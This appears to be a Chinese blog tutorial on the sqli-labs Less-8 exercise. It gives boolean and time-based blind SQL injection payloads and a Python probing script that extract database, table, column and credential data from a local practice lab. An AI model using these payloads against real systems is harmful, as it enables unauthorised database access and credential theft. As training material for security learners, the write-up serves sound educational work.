Less-8 GET-Blind-Boolean Based-Single Quotes

作者:泷羽Sec-静安日期:2025/11/7

GET-盲注-基于布尔值-单引号

Less-8 代码分析

关键特征对比

特征Less-5Less-8
SQL结构id='$id'id='$id'
成功时“You are in”“You are in”
失败时显示错误 mysql_error()什么都不显示
注入类型报错注入/布尔盲注纯布尔盲注

核心区别(关键!)

1// Less-5
2else {
3    echo 'You have an error in your SQL syntax';
4    print_r(mysql_error());  // ← 显示错误信息,可以报错注入
5}
6
7// Less-8  
8else {
9    echo "</br></font>";     // ← 只有空标签,什么都不显示!
10    echo '<font color= "#0000ff" font size= 3>';
11}
12

Less-8 的特点:

  • ✅ 成功:显示 “You are in…”
  • ❌ 失败:完全空白(连错误信息都没有)
  • ❌ 不能用报错注入(因为不显示错误)
  • ✅ 只能用布尔盲注时间盲注

注入方法

❌ 不可用的方法

1. 联合查询(看不到数据)
1?id=-1' union select 1,database(),3 --+
2结果:You are in...........
3问题:看不到 database() 的结果
4
2. 报错注入(不显示错误)
1?id=1' and extractvalue(1,concat(0x7e,database())) --+
2结果:(空白)
3问题:不显示错误信息
4

✅ 可用的方法

方法1:布尔盲注(推荐)

基于页面是否显示 “You are in” 来判断条件真假。

方法2:时间盲注(备选)

基于响应时间来判断条件真假。

完整的布尔盲注流程

Step 1: 确认注入点

1-- 测试1:正常请求
2?id=1
3结果:You are in...........4
5-- 测试2:单引号测试
6?id=1'
7结果:(空白)  ← SQL错误,但不显示
8
9-- 测试3:闭合测试
10?id=1' --+
11结果:You are in...........12
13-- 测试4:逻辑测试
14?id=1' and '1'='1' --+
15结果:You are in...........  ✅ (True)
16
17?id=1' and '1'='2' --+
18结果:(空白)  ❌ (False)
19



确认:布尔盲注可行!

Step 2: 获取数据库名

2.1 获取数据库名长度
1-- 二分查找法
2?id=1' and length(database())>10 --+
3结果:(空白)  → 长度 ≤ 10
4
5?id=1' and length(database())>5 --+
6结果:You are in  → 长度 > 5
7
8?id=1' and length(database())>7 --+
9结果:You are in  → 长度 > 7
10
11?id=1' and length(database())>8 --+
12结果:(空白)  → 长度 ≤ 8
13
14?id=1' and length(database())=8 --+
15结果:You are in  → 长度 = 816
2.2 逐字符猜解数据库名
1-- 猜第1个字符
2?id=1' and ascii(substr(database(),1,1))>100 --+
3结果:You are in  → ASCII > 100
4
5?id=1' and ascii(substr(database(),1,1))>110 --+
6结果:You are in  → ASCII > 110
7
8?id=1' and ascii(substr(database(),1,1))>115 --+
9结果:(空白)  → ASCII ≤ 115
10
11?id=1' and ascii(substr(database(),1,1))=115 --+
12结果:You are in  → ASCII = 115's'13
14-- 猜第2个字符
15?id=1' and ascii(substr(database(),2,1))=101 --+
16结果:You are in  → 'e' ✅
17
18-- 猜第3个字符
19?id=1' and ascii(substr(database(),3,1))=99 --+
20结果:You are in'c'21
22-- 继续...
23-- 最终得到:security
24

Step 3: 获取表名

1-- 获取表的数量
2?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
3结果:You are in  → 表数量 > 3
4
5?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
6结果:You are in  → 表数量 = 47
8-- 获取第1个表名的长度
9?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
10结果:You are in  → 第1个表名长度 = 6
11
12-- 逐字符猜解第1个表名
13?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
14结果:You are in'e'
15
16-- 继续猜解...
17-- 得到:emails
18

Step 4: 获取列名

1-- 获取users表的列数
2?id=1' and (select count(column_name) from information_schema.columns where table_name='users')=3 --+
3结果:You are in  → 列数 = 3 ✅
4
5-- 获取列名
6?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105 --+
7结果:You are in'i'
8
9-- 继续...
10-- 得到:id, username, password
11

Step 5: 获取数据

1-- 获取第1个用户名
2?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+
3结果:You are in  → 'D'
4
5?id=1' and ascii(substr((select username from users limit 0,1),2,1))=117 --+
6结果:You are in'u'
7
8-- 继续...
9-- 得到:Dumb
10
11-- 获取第1个密码
12?id=1' and ascii(substr((select password from users limit 0,1),1,1))=68 --+
13结果:You are in  → 'D'
14
15-- 继续...
16-- 得到:Dumb
17

使用自动化脚本

修改配置

1# ==================== 配置区 ====================
2URL = "http://192.168.224.1:8887/Less-8/?id="
3SUCCESS_FLAG = "You are in"
4CLOSURE = "'"  # Less-8 是单引号闭合
5NUM_THREADS = 10
6TIMEOUT = 5
7

快速测试脚本

1import requests
2
3url = "http://192.168.224.1:8887/Less-8/?id="
4success_flag = "You are in"
5
6def check(payload):
7    try:
8        resp = requests.get(url + payload, timeout=5)
9        return success_flag in resp.text
10    except:
11        return False
12
13# 测试1:确认闭合方式
14print("[*] 测试闭合方式...")
15if check("1' and '1'='1' --+"):
16    print("✅ True条件成功")
17else:
18    print("❌ True条件失败")
19
20if not check("1' and '1'='2' --+"):
21    print("✅ False条件失败(正常)")
22else:
23    print("❌ False条件成功(异常)")
24
25# 测试2:获取数据库名长度
26print("\n[*] 获取数据库名长度...")
27for length in range(1, 20):
28    if check(f"1' and length(database())={length} --+"):
29        print(f"✅ 数据库名长度: {length}")
30        break
31
32# 测试3:获取数据库名第1个字符
33print("\n[*] 获取数据库名第1个字符...")
34for ascii_val in range(97, 123):  # a-z
35    if check(f"1' and ascii(substr(database(),1,1))={ascii_val} --+"):
36        print(f"✅ 第1个字符: {chr(ascii_val)} (ASCII {ascii_val})")
37        break
38
39print("\n[*] 使用完整脚本可以自动获取所有数据")
40

完整注入爆库的方法用之前less5的脚本修改即可。

时间盲注(备选方法)

如果页面完全没有任何差异(连 “You are in” 都没有),使用时间盲注:

1-- 测试
2?id=1' and if(1=1,sleep(5),1) --+
3结果:5秒后返回(True)
4
5?id=1' and if(1=2,sleep(5),1) --+
6结果:立刻返回(False7
8-- 获取数据库名长度
9?id=1' and if(length(database())=8,sleep(5),1) --+
10结果:5秒后返回 → 长度 = 8
11
12-- 逐字符猜解
13?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+
14结果:5秒后返回 → 第1个字符是 's'
15

完整对比表

特性Less-5Less-8
闭合方式''
成功显示“You are in”“You are in”
失败显示显示错误信息空白
报错注入✅ 可用❌ 不可用
布尔盲注✅ 可用只能用这个
时间盲注✅ 可用✅ 可用
联合查询❌ 不显示数据❌ 不显示数据
难度⭐⭐⭐⭐⭐⭐⭐

实战技巧

技巧1:快速验证

1-- 一句话验证布尔盲注
2?id=1' and 1=1 --+   → You are in (✅)
3?id=1' and 1=2 --+   → 空白 (❌)
4

技巧2:优化查询

1-- 使用 limit 避免子查询返回多行错误
2?id=1' and (select username from users limit 0,1)='Dumb' --+
3
4-- 使用 ascii + substr 逐字符猜解
5?id=1' and ascii(substr((select username from users limit 0,1),1,1))>100 --+
6

技巧3:减少请求次数

1# 使用二分查找,而不是遍历
2# 猜解 ASCII 值(32-126)
3# 遍历需要:94次请求
4# 二分查找:只需约7次请求
5

使用完整的自动化脚本

直接使用之前的 blind_sqli_advanced.py 脚本:

1# 修改配置
2URL = "http://192.168.224.1:8887/Less-8/?id="
3SUCCESS_FLAG = "You are in"
4CLOSURE = "'"
5NUM_THREADS = 10
6
7# 运行
8python3 blind_sqli_advanced.py quick
9

总结

Less-8 的特点

纯布尔盲注

  • 成功:显示 “You are in”
  • 失败:空白
  • 不显示任何错误信息

推荐方法

  1. 布尔盲注(首选)
  2. 时间盲注(备选)

闭合方式

1CLOSURE = "'"
2

自动化

  • 使用之前的多线程脚本
  • 只需修改 URL 和 CLOSURE 配置

Less-8 是学习纯布尔盲注的经典题目,和 Less-5 的区别就是不显示错误信息,只能通过页面有无内容来判断!🎯


Less-8 GET-Blind-Boolean Based-Single Quotes》 是转载文章,点击查看原文


相关推荐


Python 的内置函数 format
IMPYLH2025/11/2

Python 内建函数列表 > Python 的内置函数 format Python 的内置函数 format() 是一个功能强大的字符串格式化工具,它提供了灵活且可读性强的格式化方式。该函数主要通过两种形式使用: 作为字符串对象的方法: "格式化字符串".format(参数) 这是最常见的用法,在字符串内部使用 {} 作为占位符,然后通过 format() 方法传入参数进行替换。 作为独立的内置函数: format(value, format_spec) 这种形式主要用于对单个值进


2025年组件化开发这样做,效率提升300%
良山有风来2025/10/31

你是不是还在重复写着相似的代码?每次产品经理说要改个按钮样式,你都得在几十个文件里翻来翻去?明明是个小改动,却要花大半天时间? 别担心,这篇文章就是来拯救你的。我会带你彻底搞懂现代前端框架的组件化开发,从基础概念到实战技巧,再到2025年的最新趋势。读完本文,你将拥有一套完整的组件化思维,开发效率至少提升3倍! 什么是组件化开发? 简单来说,组件化就是把页面拆分成一个个独立的小模块。就像搭乐高积木一样,每个组件都是独立的积木块,你可以随意组合、重复使用。 想想你每天写的代码,是不是经常遇到这样的


__工艺数据管理的范式转变:金仓数据库替代MongoDB实操实践__
金仓拾光集2025/10/28

——一位资深DBA的国产化迁移手记 作者:小马哥 | 某大型制造企业数据库架构师,10年+核心系统数据库运维与信创改造经验 一、引言:当半结构化工艺数据遇上国产信创浪潮 在智能制造加速推进的今天,工艺数据已成为工厂数字化的核心资产。从设备传感器采集的实时参数,到生产流程中的质检记录、工单变更日志,这些数据往往具有高度的半结构化特征——字段动态变化、嵌套层级深、写入高频且查询复杂。 过去,许多制造企业选择MongoDB作为这类数据的存储引擎,凭借其灵活的BSON文档模型和横向扩展能力,快速响


【2026计算机毕业设计】基于Django的新闻资讯平台的设计与实现
计算机毕业设计小帅2025/10/25

🔍 【关注我,毕业设计不迷茫】| 6年辅导经验 | 帮助1200+学子顺利毕业 |xiaoshuaibishe 大家好,我是程序员小帅,一名专注于计算机毕业设计全流程辅导的技术博主。专注JavaWeb,我深耕毕设领域6年,累计输出1200+原创项目案例,辅导成功率接近100%。如果你正在为选题、代码、论文或答辩发愁,这里能给你最落地的解决方案 一、摘要 21世纪是信息的时代,是网络的时代,进入信息社会高速发展的时代,数字化革命给所有领域带来新的改变。传统的报纸杂志已经远远满足不了人们的需求,人


5G无人机用单兵图传设备 5G单兵图传 无线图传 无人机图传
无线图像传输研究探索2025/10/23

在应急救援、执法执勤等诸多场景中,信息的实时传递与高效沟通至关重要。单兵图传设备作为一种先进的通信工具,正发挥着无可替代的作用。 单兵图传(17354349498) 一、设备概述 WB7000-DB-5G 高清视频终端采用嵌入式系统架构,采用高性能 H.265 编解码处理器设计。设备支持视频采集、编码压缩、传输、双 向对讲功能。 设备基于先进的 H.265 视频编码技术和 5G 无线信道捆绑传输技 术开发的新一代产品。支持支持 5G、4G 网络模式,采用 H.265(HEVC) 超低


谷歌发布首个隐私安全模型VaultGemma
强哥之神2025/10/22

谷歌AI研究团队与DeepMind刚刚发布了 VaultGemma 1B —— 这是目前规模最大的、完全在差分隐私(Differential Privacy, DP)保障下从头训练的开源大语言模型。它不是在已有模型基础上做微调,而是从预训练阶段就嵌入了隐私保护机制。这个尝试,让我觉得有点像在一片风沙中种树——既要长得高,又不能伤根。   我们都知道,现在的LLM(大语言模型)训练数据动辄万亿token,来自整个互联网。但问题也随之而来:模型会“记住”训练数据中的敏感信息,甚至能被攻击者通过提示


校园交友|基于SprinBoot+vue的校园交友网站(源码+数据库+文档)
老华带你飞2025/10/20

校园交友网站 目录 基于SprinBoot+vue的校园交友网站 一、前言 二、系统设计 三、系统功能设计  1系统功能模块 2后台功能模块 5.2.1管理员功能模块 5.2.2用户功能模块 四、数据库设计  五、核心代码  六、论文参考 七、最新计算机毕设选题推荐 八、源码获取: 博主介绍:✌️大厂码农|毕设布道师,阿里云开发社区乘风者计划专家博主,CSDN平台Java领域优质创作者,专注于大学生项目实战开发、讲解和毕业答疑辅导。✌️ 主要项


使用 Python 语言 从 0 到 1 搭建完整 Web UI自动化测试学习系列 18--测试框架Pytest基础 2--插件和参数化
我的xiaodoujiao2025/10/19

测试学习记录,仅供参考! Pytest 框架 七、pytest 丰富的插件系统 可以去安装外部的插件,去使用 pytest 来执行插件;这就是为什么选择使用 pytest 框架的原因,因为 pytest 里面有丰富的插件系统,而 unittest 是没有这些插件的;所以 pytest 要比 unittest 测试框架更加灵活; 例如: 当测试用例很多的时候,可以使用并发执行,可以使用多进程/多线程去执行测试用例,提高测试效率; 测试用例失败重跑插件;在执行测试用例时,由于网络


从零构建量化学习工具:动量策略(Momentum Strategy)
叶梅树2025/10/18

知识点介绍 动量策略是量化交易的核心知识点之一,它基于“强者恒强、弱者恒弱”的市场假设:过去表现好的资产(价格上涨)未来继续上涨,表现差的继续下跌。核心公式:动量 = (当前价 - N期前价) / N期前价(N通常12月/20日)。交易规则:动量>0买入、<0卖出,或排名选TopK股。 优势:简单有效,捕捉趋势(A股牛市强)。缺点:趋势反转时大回撤(如2022熊市)。入门公式:Sharpe比率 = (策略收益 - 无风险率) / 波动率(>1好)。实践:用历史数据回测,结合RSI避超买。 案例说


Jmeter分布式集群搭建与使用
晚笛诶2025/10/16

目录 一、JMeter 简介 核心功能 主要特点 二、JMeter插件扩展安装 三、JMeter分布式集群环境搭建 Jmeter分布式原理: 原理图: 主控机与负载机通信 测试执行流程 环境配置: 配置分布式测试环境 第一种测试机部署在不同的服务器上: 测试机配置: 主控机配置: 第二种测试机通过docker部署在同一台服务器上: 测试机配置: 主控机配置: 一、JMeter 简介 JMeter 是一款开源的性能测试工具,由 Apache 软件基金会

首页编辑器站点地图

Copyright © 2025 聚合阅读

License: CC BY-SA 4.0